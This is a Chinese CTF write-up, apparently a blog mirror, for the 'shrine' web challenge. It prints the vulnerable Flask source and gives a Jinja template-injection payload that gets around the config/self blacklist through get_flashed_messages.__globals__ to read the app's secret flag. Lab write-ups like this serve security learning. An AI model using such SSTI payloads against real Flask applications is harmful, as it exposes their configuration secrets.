zoukankan      html  css  js  c++  java
  • 攻防世界-web进阶-shrine

    打开之后

     看源码

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    
    if __name__ == '__main__':
        app.run(debug=True)
    

     也发现config,self被拉黑了

    根据提示:shrine  可能存在Flash框架,SSTI模板注入漏洞

      我们首先尝试一下注入,在/shrine/路径下注入{{1+1}}

     看到用户的输入被当做代码执行了;

    构造pyload:

    /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
    

      

     

    Flash模板注入格式:{{1+1}}        //特定情况下可以当做代码执行

    get_flashed_messages        //字面意思,获取内容,就是取值,后面跟的就是要取得值

    current_app          //设计模式中代理设计的代理对象,指向flask核心对象和reques的请求类

  • 相关阅读:
    roadmap
    Tree and Permutation
    码队的新桌游
    关于优先队列重载运算符
    YJJ's Salesman
    E. Natasha, Sasha and the Prefix Sums
    C. Anna, Svyatoslav and Maps
    D1. Kirk and a Binary String (easy version)
    C. Almost Equal
    D. Shortest Cycle
  • 原文地址:https://www.cnblogs.com/tac2664/p/13870037.html
Copyright © 2011-2022 走看看